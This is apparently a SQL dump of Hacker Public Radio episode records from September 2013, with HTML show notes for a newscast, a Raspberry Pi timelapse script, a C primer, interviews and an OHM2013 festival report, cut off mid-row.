(1329,'2013-09-05','TGTM Newscast for 2013-13-08',1761,'A newscast from Talk Geek to Me','<h2>DeepGeek &amp; Dann Washko</h2>\r\n<p>Here is a news review:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2013/08/what-should-and-should-not-be-nsa-surveillance-reform-legislation\">What\r\nShould, and Should Not, Be in NSA Surveillance Reform Legislation</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.allgov.com/news/controversies/pentagons-exiting-guant%C3%A1namo-prison-architect-reverses-position-on-detainee-policies-130807?news=850796\">Pentagon’s\r\nExiting Guantánamo Prison Architect Reverses Position on Detainee\r\nPolicies</a>\r\n</li>\r\n<li><a\r\nhref=\"https://rhrealitycheck.org/article/2013/08/07/russias-anti-lgbtq-law-leads-to-protests-pushback-and-a-reminder-of-our-laws-here-at-home/\">Russia’s\r\nAnti-LGBTQ Law Leads to Protests, Pushback, and a Reminder of Our Laws\r\nHere at Home</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.fair.org/blog/2013/08/06/amazon-wilkileaks-the-washington-post-and-the-cia/\">Amazon,\r\nWikiLeaks, the Washington Post and the CIA</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eoionline.org/blog/pay-it-forward-debt-free-degree-plan-makes-national-debut-as-oregon-lawmakers-tackle-student-debt-crisis/\">Pay\r\nIt Forward debt-free degree plan makes national debut as Oregon\r\nlawmakers tackle student debt crisis</a>\r\n</li>\r\n<li><a href=\"https://lavabit.com/\">Lavabit email service Snowden\r\nallegedly used shut down</a></li>\r\n<li><a\r\nhref=\"https://www.extremetech.com/extreme/160928-five-dimensional-glass-memory-can-store-360tb-per-disc-rugged-enough-to-outlive-the-human-race\">Five-dimensional\r\nglass memory can store 360TB per disc, rugged enough to outlive the\r\nhuman race</a> </li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20130805/02354124062/us-government-war-hackers-backfires-now-hackers-wont-work-us-government.shtml\">US\r\nGovernment War On Hackers Backfires: Now Top Hackers Won\'t Work With US\r\nGovernment</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/hollywood-keeps-censoring-pirate-bay-documentary-director-outraged-130807/\">Hollywood\r\nKeeps Censoring Pirate Bay Documentary, Director Outraged</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/dmca-notices-to-search-engines-wont-mitigate-piracy-tech-giants-say-130806/\">DMCA\r\nNotices to Search Engines Won’t Mitigate Piracy, Tech Giants Say</a>\r\n</li>\r\n<li><a\r\nhref=\"https://perspectives.mvdirona.com/2013/07/17/CountingServersIsHard.aspx\">Counting\r\nServers is Hard</a>\r\n</li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://whowhatwhy.com/2013/08/07/connections-between-michael-hastings-edward-snowden-and-barrett-brown-the-war-with-the-security-state/\">Connections\r\nBetween Michael Hastings, Edward Snowden and Barrett Brown—The War With\r\nthe Security State</a> </li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1723\">Snowden: Towards\r\nan Endgame</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.rawstory.com/rs/2013/08/07/long-lost-orson-welles-film-too-much-johnson-turns-up-in-italy/\">Long-lost\r\nOrson Welles film ‘Too Much Johnson’ turns up in Italy</a>\r\n</li>\r\n<li><a\r\nhref=\"https://whowhatwhy.com/2013/08/05/monday-morning-skeptic-questioning-authority-in-the-sprawling-boston-bombing-case/\">Monday\r\nMorning Skeptic: Questioning Authority in the Sprawling Boston Bombing\r\nCase</a>\r\n</li>\r\n<li><a\r\nhref=\"https://jacobinmag.com/2013/08/social-democracy-for-our-time/\">Social\r\nDemocracy For Our Time</a>\r\n</li>\r\n</ul>\r\n<p>Staffed and produced by the TGTM news team, Editorial Selection by\r\nDeepGeek, views of the story\r\nauthors reflect their own opinions and not necessarily those of TGTM\r\nnews.\r\n</p>\r\n<p>News from \"techdirt.com,\" \"eoionline.org,\"&nbsp;\r\n\"perspectives.mvdirona.com,\"\r\nand \"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"eff.org\" and \"torrentfreak.com\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\nNews from \"rhrealitycheck.org\" used under terms published on their\r\nwebsite.<br />\r\nNews from \"lavabit.com\" is an open letter.<br />\r\n<p>News from \"fair.org\" used under permission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.</p>\r\n<p>News from \"thecommandline.net\" used under permission of the Creative\r\nCommons By-attribution Share-alike license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/08/what-should-and-should-not-be-nsa-surveillance-reform-legislation\">https://www.eff.org/deeplinks/2013/08/what-should-and-should-not-be-nsa-surveillance-reform-legislation</a></li>\r\n<li><a href=\"https://www.allgov.com/news/controversies/pentagons-exiting-guant%C3%A1namo-prison-architect-reverses-position-on-detainee-policies-130807?news=850796\">https://www.allgov.com/news/controversies/pentagons-exiting-guant%C3%A1namo-prison-architect-reverses-position-on-detainee-policies-130807?news=850796</a></li>\r\n<li><a href=\"https://rhrealitycheck.org/article/2013/08/07/russias-anti-lgbtq-law-leads-to-protests-pushback-and-a-reminder-of-our-laws-here-at-home/\">https://rhrealitycheck.org/article/2013/08/07/russias-anti-lgbtq-law-leads-to-protests-pushback-and-a-reminder-of-our-laws-here-at-home/</a></li>\r\n<li><a href=\"https://www.fair.org/blog/2013/08/06/amazon-wilkileaks-the-washington-post-and-the-cia/\">https://www.fair.org/blog/2013/08/06/amazon-wilkileaks-the-washington-post-and-the-cia/</a></li>\r\n<li><a href=\"https://www.eoionline.org/blog/pay-it-forward-debt-free-degree-plan-makes-national-debut-as-oregon-lawmakers-tackle-student-debt-crisis/\">https://www.eoionline.org/blog/pay-it-forward-debt-free-degree-plan-makes-national-debut-as-oregon-lawmakers-tackle-student-debt-crisis/</a></li>\r\n<li><a href=\"https://lavabit.com/\">https://lavabit.com/</a></li>\r\n<li><a href=\"https://www.extremetech.com/extreme/160928-five-dimensional-glass-memory-can-store-360tb-per-disc-rugged-enough-to-outlive-the-human-race\">https://www.extremetech.com/extreme/160928-five-dimensional-glass-memory-can-store-360tb-per-disc-rugged-enough-to-outlive-the-human-race</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130805/02354124062/us-government-war-hackers-backfires-now-hackers-wont-work-us-government.shtml\">https://www.techdirt.com/articles/20130805/02354124062/us-government-war-hackers-backfires-now-hackers-wont-work-us-government.shtml</a></li>\r\n<li><a href=\"https://torrentfreak.com/hollywood-keeps-censoring-pirate-bay-documentary-director-outraged-130807/\">https://torrentfreak.com/hollywood-keeps-censoring-pirate-bay-documentary-director-outraged-130807/</a></li>\r\n<li><a href=\"https://torrentfreak.com/dmca-notices-to-search-engines-wont-mitigate-piracy-tech-giants-say-130806/\">https://torrentfreak.com/dmca-notices-to-search-engines-wont-mitigate-piracy-tech-giants-say-130806/</a></li>\r\n<li><a href=\"https://perspectives.mvdirona.com/2013/07/17/CountingServersIsHard.aspx\">https://perspectives.mvdirona.com/2013/07/17/CountingServersIsHard.aspx</a></li>\r\n<li><a href=\"https://whowhatwhy.com/2013/08/07/connections-between-michael-hastings-edward-snowden-and-barrett-brown-the-war-with-the-security-state/\">https://whowhatwhy.com/2013/08/07/connections-between-michael-hastings-edward-snowden-and-barrett-brown-the-war-with-the-security-state/</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1723\">https://sacsis.org.za/site/article/1723</a></li>\r\n<li><a href=\"https://www.rawstory.com/rs/2013/08/07/long-lost-orson-welles-film-too-much-johnson-turns-up-in-italy/\">https://www.rawstory.com/rs/2013/08/07/long-lost-orson-welles-film-too-much-johnson-turns-up-in-italy/</a></li>\r\n<li><a href=\"https://whowhatwhy.com/2013/08/05/monday-morning-skeptic-questioning-authority-in-the-sprawling-boston-bombing-case/\">https://whowhatwhy.com/2013/08/05/monday-morning-skeptic-questioning-authority-in-the-sprawling-boston-bombing-case/</a></li>\r\n<li><a href=\"https://jacobinmag.com/2013/08/social-democracy-for-our-time/\">https://jacobinmag.com/2013/08/social-democracy-for-our-time/</a></li>\r\n</ul>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,1611,1),
(1344,'2013-09-26','Filming a Dinosaur egg hatching',298,'In this episode Ken and his Son hatch a plan to film a Dinosaur egg hatching using fswebcam.','<p>\r\nIn this episode Ken and his Son hatch a plan to film a Dinosaur egg hatching using fswebcam.\r\n</p>\r\n\r\n<p>\r\n<a href=\"https://www.intertoys.nl/speelgoed/groeiend-dinosaurus-ei-577680.html\"><img  src=\"https://media.intertoys.nl/Images/Generic/Products/Article/577680_v.jpg\" alt=\"Groeiend Dinosaurus Ei\" ><br />https://www.intertoys.nl/speelgoed/groeiend-dinosaurus-ei-577680.html</a>\r\n</p>\r\n\r\n<p>\r\nWe had to wait 8 days for a Dinosaur egg to hatch, so we rigged up a RasberryPi with a cheap usb cam to take pictures. This was just before the camera module was releases. However the principle was the same. We positioned the egg in a mixing bowl and placed it on some boxes to give it height. Then we used the handle of a camera stand as a place to clip on a cheap usb camera. We then connected the camera to a RasberryPi.\r\n</p>\r\n<p>\r\n<img width=\"70%\" src=\"https://kenfallon.com/wp-content/uploads/2013/08/egg-rig.jpg\" alt=\"the camera rig\" />\r\n</p>\r\n<p>\r\nOn the first day we let the light in and you see flickering as the lighting conditions change over the course of the day and the camera adjusts. Peter64 has promised a episode on how to fix this. So we closed the curtains and added an artificial light source as can be seen below.\r\n</p>\r\n<p>\r\nWhile we could have used fswebcam to automatically take the pictures, there was a certain satisfaction in seeing the program run every minute. Other than the default Raspbian install, we installed fswebcam and screen. The first to take the pictures and the other to allow the script to continue running after we disconnected.\r\n</p>\r\n<pre>\r\n$ cat egg.bash\r\n#!/bin/bash\r\nwhile true\r\ndo\r\n  nowdate=$(date -u +%Y-%m-%d_%H-%M-%SZ_%A)\r\n  echo ${nowdate}\r\n  fswebcam -r 640x480 \\\r\n           -S 15 \\ \r\n           --flip h \\\r\n           --jpeg 95 \\\r\n           --shadow \\\r\n           --title \"Dinosaur Hatching\" \\\r\n           --subtitle \"Pádraig Fallon\" \\\r\n           --info \"\" \\\r\n           --save egg-${nowdate}.jpg\r\n  sleep 1m\r\ndone\r\n</pre>\r\n<p>\r\nThat produced a big long list of images, 10886 in total, and it was a \"simple\" matter to convert them to a mp4 file with ffmpeg. See <a href=\"https://diveintohtml5.info/video.html\">https://diveintohtml5.info/video.html</a> for more information on encoding for the web in general\r\n</p>\r\n<pre>\r\nffmpeg -y -r 120 -f image2 -pattern_type glob -i \"*.jpg\" -b:v 2000k -vcodec libvpx -quality best egg-libvpx.webm\r\n</pre>\r\n\r\n<p>\r\n<video width=\"640\" height=\"480\" controls preload=\"none\">\r\n  <source src=\"https://kenfallon.com/files/egg-libvpx.webm\" type=\"video/webm; codecs=vp8,vorbis\">\r\n  <source src=\"https://kenfallon.com/files/egg-libx264.avi\"  type=\"video/mp4; codecs=avc1.42E01E,mp4a.40.2\">\r\n</video>\r\n\r\n</p>\r\n\r\n<p>\r\nHere\'s the finished product:\r\n</p>\r\n<p>\r\n<img src=\"https://kenfallon.com/wp-content/uploads/2013/08/dino.jpg\" width=\"70%\" alt=\"Hatched Dino\" />',30,0,1,'CC-BY-SA','\"Dinosaur egg\",\"Raspberry Pi\",fswebcam',0,1604,1),
(1330,'2013-09-06','Programming languages 3 - C',1282,'A C programming language appetiser','<p>Hi, my name is Garjola and you are listening to a contribution to\nHPR. This is episode 3 of my programming language series and is entitled\n“Getting started with the C programming language”.</p>\n<p>I am not going to teach you C, but just whet your appetite.</p>\n<h2 id=\"intro\">1 Intro</h2>\n<ul>\n<li>What C is useful for\n<ul>\n<li>Systems programming</li>\n<li>Number crunching</li>\n<li>Graphics</li>\n<li>Embedded systems\n<ul>\n<li>Arduino</li>\n</ul></li>\n</ul></li>\n<li>Advantages\n<ul>\n<li>speed</li>\n<li>fine grained control of the memory management</li>\n<li>close to the metal</li>\n<li>the portable assembly language</li>\n</ul></li>\n<li>Drawbacks\n<ul>\n<li>fine grained control of the memory management</li>\n<li>close to the metal</li>\n<li>the portable assembly language</li>\n</ul></li>\n</ul>\n<h2 id=\"history-of-the-language\">2 History of the language</h2>\n<ul>\n<li><p>developed by Ken Thompson and Dennis Ritchie between 1969 and\n1973 at AT&amp;T Bell Labs.</p></li>\n<li><p>The origin of C is closely tied to the development of the Unix\noperating system, originally implemented in assembly language on a PDP-7\nby Ritchie and Thompson, incorporating several ideas from colleagues.\nEventually they decided to port the operating system to a PDP-11. B’s\ninability to take advantage of some of the PDP-11’s features, notably\nbyte addressability, led to the development of an early version of\nC.</p></li>\n</ul>\n<h2 id=\"uses\">3 Uses</h2>\n<p>C is often used for “system programming”, including implementing\noperating systems and embedded system applications, due to a combination\nof desirable characteristics such as code portability and efficiency,\nability to access specific hardware addresses, ability to pun types to\nmatch externally imposed data access requirements, and low run-time\ndemand on system resources. C can also be used for website programming\nusing CGI as a “gateway” for information between the Web application,\nthe server, and the browser. Some reasons for choosing C over\ninterpreted languages are its speed, stability, and near-universal\navailability.</p>\n<p>One consequence of C’s wide availability and efficiency is that\ncompilers, libraries, and interpreters of other programming languages\nare often implemented in C. The primary implementations of Python\n(CPython), Perl 5, and PHP are all written in C.</p>\n<p>Due to its thin layer of abstraction and low overhead, C allows\nefficient implementations of algorithms and data structures, which is\nuseful for programs that perform a lot of computations.</p>\n<p>C is sometimes used as an intermediate language by implementations of\nother languages. This approach may be used for portability or\nconvenience; by using C as an intermediate language, it is not necessary\nto develop machine-specific code generators.</p>\n<p>C has also been widely used to implement end-user applications, but\nmuch of that development has shifted to newer languages.</p>\n<h2 id=\"characteristics-of-the-language\">4 Characteristics of the\nlanguage</h2>\n<ul>\n<li>imperative, compiled, static, weakly typed</li>\n<li>structured programming\n<ul>\n<li>Uses functions but it is not functional, but rather procedural</li>\n<li>control flow if/else, for, while</li>\n<li>curly braces, semi-colons</li>\n</ul></li>\n<li>all parameters are passed by value and references are simulated\nusing pointers</li>\n<li>A program is a function called main</li>\n</ul>\n<h2 id=\"tooling-and-environment\">5 Tooling and environment</h2>\n<ul>\n<li>editor</li>\n<li>compiler\n<ul>\n<li>makefiles for convenience, although higher level tools such as\nautoconf/automake or cmake exist</li>\n</ul></li>\n<li>debugger</li>\n<li>IDEs</li>\n<li>gnu tools for everything\n<ul>\n<li>emacs, pico, gedit, vi</li>\n<li>gcc, clang</li>\n<li>gnumake</li>\n<li>gdb, xgdb, ddd</li>\n<li>kdevelop</li>\n</ul></li>\n</ul>\n<h2 id=\"hello-world\">6 Hello World</h2>\n<pre><code>#include &lt;stdio.h&gt;\n\nint main(void) {\n    printf(&quot;hello, world\\n&quot;);\n    return 0;\n}</code></pre>\n<h2 id=\"how-to-make-a-c-program\">7 How to make a C program</h2>\n<ul>\n<li>Write your main function into a file called myprogram.c</li>\n<li>compile your program\n<ul>\n<li><code>gcc -o myprogram myprogram.c</code></li>\n</ul></li>\n<li>if you use other libraries than C’s standard library, you will need\nto use a linker, like <code>ld</code></li>\n</ul>\n<p>Examples taken from <a\nhref=\"https://www.network-theory.co.uk/docs/gccintro/\"><em>An\nIntroduction to GCC</em></a> by Brian J. Gough, foreword by Richard M.\nStallman</p>\n<p>The classic example program for the C language is Hello World. Here\nis the source code for our version of the program:</p>\n<pre><code>#include &lt;stdio.h&gt;\n\nint main (void) { printf (&quot;Hello, world!\\n&quot;); return 0; }</code></pre>\n<p>We will assume that the source code is stored in a file called\n<code>\'hello.c\'</code>.</p>\n<p>To compile the file <code>\'hello.c\'</code> with <code>gcc</code>, use\nthe following command:</p>\n<pre><code>$ gcc -Wall hello.c -o hello</code></pre>\n<p>To run the program, type the path name of the executable like\nthis:</p>\n<pre><code>$ ./hello\nHello, world!</code></pre>\n<h2 id=\"pointers\">8 Pointers!</h2>\n<p>C supports the use of pointers, a type of reference that records the\naddress or location of an object or function in memory. Pointers can be\ndereferenced to access data stored at the address pointed to, or to\ninvoke a pointed-to function. Pointers can be manipulated using\nassignment or pointer arithmetic. The run-time representation of a\npointer value is typically a raw memory address (perhaps augmented by an\noffset-within-word field), but since a pointer’s type includes the type\nof the thing pointed to, expressions including pointers can be\ntype-checked at compile time.</p>\n<h2 id=\"the-standard-library\">9 The standard library</h2>\n<ul>\n<li>just use <code>man</code>!</li>\n</ul>\n<p>On Unix-like systems, the authoritative documentation of the actually\nimplemented API is provided in form of man pages. On most systems, man\npages on standard library functions are in section 3; section 7 may\ncontain some more generic pages on underlying concepts (e.g. man 7\n<code>math_error</code> in Linux).</p>\n<pre><code>apropos sqrt | grep \\(3\\)\n\nman 3 sqrt\n\nman 3 qsort history</code></pre>\n<ul>\n<li>the not-so-standard libraries\n<ul>\n<li>gsl</li>\n<li>gtk</li>\n<li>X</li>\n</ul></li>\n</ul>\n<h2 id=\"languages-of-the-c-family\">10 Languages of the C family</h2>\n<ul>\n<li>C++, ObjectiveC, Java, C#, Go</li>\n</ul>\n<h2 id=\"resources\">11 Resources</h2>\n<ul>\n<li><a href=\"https://www.nongnu.org/c-prog-book/\">Learning GNU C by\nCiaran O’Riordan.</a></li>\n</ul>\n',197,25,0,'CC-BY-SA','\"C language\",\"GNU C\",compiler,gcc',0,1950,1),
(1331,'2013-09-09','A Tale of Chroot',1067,'Recovering from a failed Arch upgrade on a VPS using \'chroot\'','<p>\r\nNYbill tells of a recent adventure and misadventure with Chroot.\r\n</p>\r\n<p>\r\n<a href=\"https://library.linode.com/rescue-and-rebuild\">https://library.linode.com/rescue-and-rebuild</a>\r\n</p>',235,0,0,'CC-BY-SA','chroot,VPS,Linode,\"Arch Linux\"',0,1856,1),
(1332,'2013-09-10','Jingles',323,'A donation of jingles for HPR','<p>\r\nDuring OHM2013, we met up with stich and the crew on rainbow island and they were gracious enough to let HPR have a booth in the shade there. He also found some time to send us in some soundbytes (words) to be used for jingles. He says \"It\'s food for editors and are not production ready jingles (i don\'t have background sounds). If you need any other rendition, just drop me a line.\"\r\n</p>\r\n<p>\r\nHe releases them to us under a cc-by license (<a href=\"https://creativecommons.org/licenses/by/3.0/us/\">https://creativecommons.org/licenses/by/3.0/us/</a>).\r\n</p>\r\n<p>\r\nThe original can be found here <a href=\"https://hackerpublicradio.org/media/sound-effects/the_HPR_jingle_samples_licensed_CC_BY_by_Stitch_at_hack42_dot_nl.aif\">https://hackerpublicradio.org/media/sound-effects/the_HPR_jingle_samples_licensed_CC_BY_by_Stitch_at_hack42_dot_nl.aif</a>\r\n</p>\r\n<p>\r\nRainbow Island at OHM2013: <a href=\"https://ohm2013.org/site/2013/06/07/project-rainbow-island-2500-sqm-of-old-skoolynessism/\">https://ohm2013.org/site/2013/06/07/project-rainbow-island-2500-sqm-of-old-skoolynessism/</a>\r\n</p>',254,0,0,'CC-BY-SA','OHM2013,\"Rainbow Island\",jingles',0,1585,1),
(1334,'2013-09-12','Open Sourcing Mental Illness - Ed Finkler',8326,'An interview with Ed Finkler about Mental Health','<ul>\n  <li>Ed Finkler <ul>\n    <li>Dork, Dad, JS, PHP &amp; Python feller, FictiveKin brosef, FOSS nerd, webappsec dude, general miscreant.</li>\n    <li>@funkatron: <a href=\"https://twitter.com/funkatron\">https://twitter.com/funkatron</a></li>\n    <li><a href=\"https://careers.stackoverflow.com/funkatron\">https://careers.stackoverflow.com/funkatron</a></li>\n   </ul>\n   <br />\n  </li>\n  <li>/dev/hell - The Development Hell Podcast <ul>\n    <li>Chris Hartjes and Ed Finkler are trapped in Development Hell. They record their freewheeling, uncensored discussions on programming the web, so future generations can learn from their failures.</li>\n    <li><a href=\"https://devhell.info/\">https://devhell.info/</a></li>\n   </ul>\n   <br />\n  </li>\n  <li>Open Sourcing Mental Illness <ul>\n    <li>Open Sourcing Mental Illness is a speaking campaign by Ed Finkler to raise awareness and understanding of mental illness in the developer community.</li>\n    <li>The premier professional PHP conference with a community flair: <a href=\"https://tek.phparch.com/\">https://tek.phparch.com/</a></li>\n    <li><a href=\"https://funkatron.com/osmi.html\">https://funkatron.com/osmi.html</a></li>\n    <li><a href=\"https://www.indiegogo.com/projects/open-sourcing-mental-illness\">https://www.indiegogo.com/projects/open-sourcing-mental-illness</a></li>\n   </ul>\n   <br />\n  </li>\n  <li>Stanford\'s Sapolsky On Depression in U.S. (Full Lecture) <ul>\n    <li><a href=\"https://www.youtube.com/watch?v=NOAgplgTxfc\">https://www.youtube.com/watch?v=NOAgplgTxfc</a></li>\n   </ul>\n   <br />\n  </li>\n  <li>Prompt <ul>\n    <li>Prompt is an effort to actually try to help improve the lives of developers, especially those who are affected in any way by things like depression, anxiety, or any other mental illness.</li>\n    <li><a href=\"https://prompt.engineyard.com/\">https://prompt.engineyard.com/</a></li>\n   </ul>\n   <br />\n  </li>\n  <li>Blue Hackers <ul>\n    <li>The objective of this initiative is to make visible that there are many fellow geeks among us who are intimately familiar with depression, anxiety, or bipolar disorder. It helps to know youre not alone. And its not because we\'re geeks, but because we\'re human.</li>\n    <li><a href=\"https://bluehackers.org/\">https://bluehackers.org/</a></li>\n   </ul>\n   <br />\n  </li>\n  <li>Paul Fenwick <ul>\n    <li>Adventuretarian. Enjoys Perl, social hacking, mycology, scuba diving, coffee, cycling, FOSS, meeting new people, and talking like a pirate. World famous in NZ.</li>\n    <li><a href=\"https://twitter.com/pjf\">https://twitter.com/pjf</a></li>\n   </ul>\n   <br />\n  </li>\n  <li>Welcome to Devpressed <ul>\n    <li>Anxiety, depression, ADHD, OCD, bipolar, schizophrenia... these are far more prevalent in the developer community than you would believe, but we don\'t talk about it because of the shame. This forum is a place to share our stories, and help our friends.</li>\n    <li><a href=\"https://www.devpressed.com/\">https://www.devpressed.com/</a></li>\n   </ul>\n   <br />\n  </li>\n  <li>YOU ARE NOT ALONE Podcast <ul>\n    <li>Weekly online podcast interviews with comedians, artists, friends, and the occasional doctor. All exploring mental illness, trauma, addiction and negative thinking.</li>\n    <li><a href=\"https://mentalpod.com/\">https://mentalpod.com/</a></li>\n   </ul>\n   <br />\n  </li>\n  <li>Stanford University: <ul>\n    <li><a href=\"https://www.stanford.edu/\">https://www.stanford.edu/</a></li>\n    <li>Stanford University Channel on YouTube: <a href=\"https://www.youtube.com/stanford\">https://www.youtube.com/stanford</a></li>\n    <li>LICENSE: Creative Commons (Attribution-Noncommercial-No Derivative Works). For more information about this license, please read: <a href=\"https://creativecommons.org/licenses/by-nc-nd/3.0/\">https://creativecommons.org/licenses/by-nc-nd/3.0/</a>.</li>\n   </ul>\n  </li>\n </ul>',30,71,1,'CC-BY-NC-ND','\"mental health\",OSMI',0,1701,1),
(1338,'2013-09-18','Pumped Pi\'s',1646,'A discussion between JRobb and NYbill','<p>\r\nJRobb and NYbill talk about setting up a Pump.io server on a Raspberry Pi.\r\n</p>\r\n<p>\r\n<!-- <a href=\"https://jrobb.org/blog/2013/08/01/raspberry-pi-pump-server/\">https://jrobb.org/blog/2013/08/01/raspberry-pi-pump-server/</a> -->\r\n<a href=\"https://web.archive.org/web/20131217142152/https://jrobb.org/blog/2013/08/01/raspberry-pi-pump-server/\">https://jrobb.org/blog/2013/08/01/raspberry-pi-pump-server/</a>\r\n</p>\r\n<p><small><em>Editor\'s Note 2019-02-05</em>: The original link above is now unavailable. However, a copy was saved on the <em>Internet Archive Wayback Machine</em>, and this has been used instead.</small></p>\r\n',235,0,0,'CC-BY-SA','\"Raspberry Pi\",Pump.io',0,1765,1),
(1339,'2013-09-19','Legacy Technology: My Victrola',1763,'A 1917 Victrola demonstrated','<p>I talk about and demonstrate my wonderful 1917 Victrola, purchased \r\nin Austin, Texas sometime around 1993 from a private individual. </p>\r\n\r\n<p>Photo Gallery: <a href=\"https://pics.jonkulp.net/index.php?/category/14\">https://pics.jonkulp.net/index.php?/category/14</a>  </p>',238,0,0,'CC-BY-SA','\"Victor Talking Machine Co.\",Victrola,phonograph',0,1657,1),
(1333,'2013-09-11','Introduction / How I Got Into Linux',999,'A first show from a new host describing their journey to Linux','<p>\r\nThanks for Listening to my first show.  I welcome your comments/feedback.\r\n</p>\r\n<p>\r\nPicture of Mac Classic II: <a href=\"https://imgur.com/etT0uGi\">https://imgur.com/etT0uGi</a>\r\n</p>\r\n<p>\r\n<a href=\"https://g33kdad.thestrangeland.net\">https://g33kdad.thestrangeland.net</a>\r\n</p>',255,29,0,'CC-BY-SA','\"Mac Classic II\",FreeBSD,Ubuntu',0,1776,1),
(1336,'2013-09-16','The Rosetta Dream',732,'A short SciFi story from Julian Neuer','<p>Julian Neuer (<a href=\"https://corianderpause.wordpress.com/\">https://corianderpause.wordpress.com/</a>) tells his short SciFi story \"The Rosetta Dream\", inspired by the writings of Steven Pinker and Jared Diamond.</p>\n <p>In the 21st century, the Rosetta Project produced a disk containing 13,000 pages of information about more than 1,500 languages spoken on Earth today and in the recent past.</p>\n <p>But what happens if the disk is found by our descendants in a very distant future where information is not transmitted by verbal languages anymore?</p>\n <p>Links:</p>\n <ul>\n  <li>Julian Neuer\'s Wordpress page: <a href=\"https://corianderpause.wordpress.com/\">https://corianderpause.wordpress.com/</a></li>\n  <li>Text of the story: <a href=\"https://corianderpause.wordpress.com/2013/01/23/the-rosetta-dream/\">https://corianderpause.wordpress.com/2013/01/23/the-rosetta-dream/</a></li>\n  <li>The Rosetta Project: <a href=\"https://rosettaproject.org/\">https://rosettaproject.org/</a></li>\n  <li>Steven Pinker: <a href=\"https://en.wikipedia.org/wiki/The_Language_Instinct\">https://en.wikipedia.org/wiki/The_Language_Instinct</a></li>\n  <li>Jared Diamond: <a href=\"https://en.wikipedia.org/wiki/The_Third_Chimpanzee:_The_Evolution_and_Future_of_the_Human_Animal\">https://en.wikipedia.org/wiki/The_Third_Chimpanzee:_The_Evolution_and_Future_of_the_Human_Animal</a></li>\n  <li>Music: <a href=\"https://freemusicarchive.org/music/endingsatellites/And_so_sing_the_black_birds/01_Ending_Satellites_-_And_so_sing_the_black_birds\">https://freemusicarchive.org/music/endingsatellites/And_so_sing_the_black_birds/01_Ending_Satellites_-_And_so_sing_the_black_birds</a></li>\n  <li>Savannah sounds: <a href=\"https://www.freesound.org/people/felix.blume/sounds/141505/\">https://www.freesound.org/people/felix.blume/sounds/141505/</a></li>\n  <li>Thunder: <a href=\"https://www.freesound.org/people/Dave%20Welsh/sounds/194364/\">https://www.freesound.org/people/Dave%20Welsh/sounds/194364/</a></li>\n  <li>Drums: <a href=\"https://www.freesound.org/people/jobro/sounds/103337/\">https://www.freesound.org/people/jobro/sounds/103337/</a></li>\n  <li>Morse code: <a href=\"https://www.freesound.org/people/Setuniman/sounds/133281/\">https://www.freesound.org/people/Setuniman/sounds/133281/</a></li>\n </ul>',256,0,0,'CC-BY-SA','story,SciFi',0,1699,1),
(1337,'2013-09-17','overdrive',1594,'An interview with a Sega Genesis developer, oerg866','<p>\r\nIn this HPR episode sigflup interviews oerg866, a sega genesis developer, about his participation in the creation of the ground-breaking demo, overdrive.\r\n</p>\r\n<p>\r\nDemo: <a href=\"https://www.pouet.net/prod.php?which=61724\">https://www.pouet.net/prod.php?which=61724</a>\r\n</p>\r\n<p>\r\nTranscript: <a href=\"https://theadesilva.com/overdrive_interview.txt\">https://theadesilva.com/overdrive_interview.txt</a>\r\n</p>\r\n	',115,0,0,'CC-BY-SA','demoscene,genesis,sega,demo,oerg866',0,1675,1),
(1340,'2013-09-20','Out and about at OHM 2013',4853,' Observe, Hack, Make. A five day outdoor international camping festival for hackers and makers','<h2>OHM2013</h2>\r\n<p> \r\n<a href=\"https://ohm2013.org/site/\">https://ohm2013.org/site/</a>\r\n</p>\r\n<p>\r\nOHM2013. Observe, Hack, Make. A five day outdoor international camping festival for hackers and makers, and those with an inquisitive mind. On 31st July 2013, 3000 of those minds will descend upon on an unassuming patch of land, at the Geestmerambacht festival grounds, 30km north of Amsterdam.\r\n</p>\r\n\r\n<p>\r\nIt is a four year tradition in The Netherlands to hold such an event. In the spirit of WTH, HIP and HAR the latest edition, OHM2013, is a non-commercial community run event. The event happens thanks to the volunteers, all 3000 of them. They will run the network, help people around the site, give talks, hold workshops and be excellent to one another.\r\n</p>\r\n\r\n<p>The target audience includes free-thinkers, philosophers, activists, geeks, scientists, artists, creative minds and a whole bunch of people interested in lots of interesting stuff.\r\n</p>\r\n<h2>Lock Picking</h2>\r\n<p>\r\nFirst port of call is a lock picking in a tent. Although lacking modern conveniences like, for example, doors, Nigel and the team has assembled a selection of locks for all levels. For more information contact Nigel Tolley from Discreet Security Solutions: <a href=\"https://www.tenburylocksmiths.co.uk/\">https://www.tenburylocksmiths.co.uk/</a> <br />\r\nFollow @discreetsecure on Twitter\r\n</p>\r\n<h2>Rainbow Island</h2>\r\n<p>\r\nNext stop \"Rainbow island\" for a chat with Johan, Brenn, Stitch and Joob. <br />\r\nFrom <a href=\"https://ohm2013.org/site/2013/06/07/project-rainbow-island-2500-sqm-of-old-skoolynessism/\">https://ohm2013.org/site/2013/06/07/project-rainbow-island-2500-sqm-of-old-skoolynessism/</a>\r\n</p>\r\n\r\n<p>\r\n<a href=\"https://ohm2013.org/wiki/Rainbow_island\" target=\"_blank\">Rainbow Island</a> is possibly the most modest project you\'ll see at OHM2013. Obviously, in this context, possibly means absolutely, and modest means insane.\r\n</p>\r\n<p>\r\nThe 2,500 sqm island on <a href=\"https://gis.ohm2013.org/\" target=\"_blank\">field R</a> will be adorned by an immense castle-like structure, with towers that reach five meters into the air. In daylight, you\'ll see just a marble-white castle. But at night, it turns into an oasis, nay, orgasm of colours, video projections, smoke, and 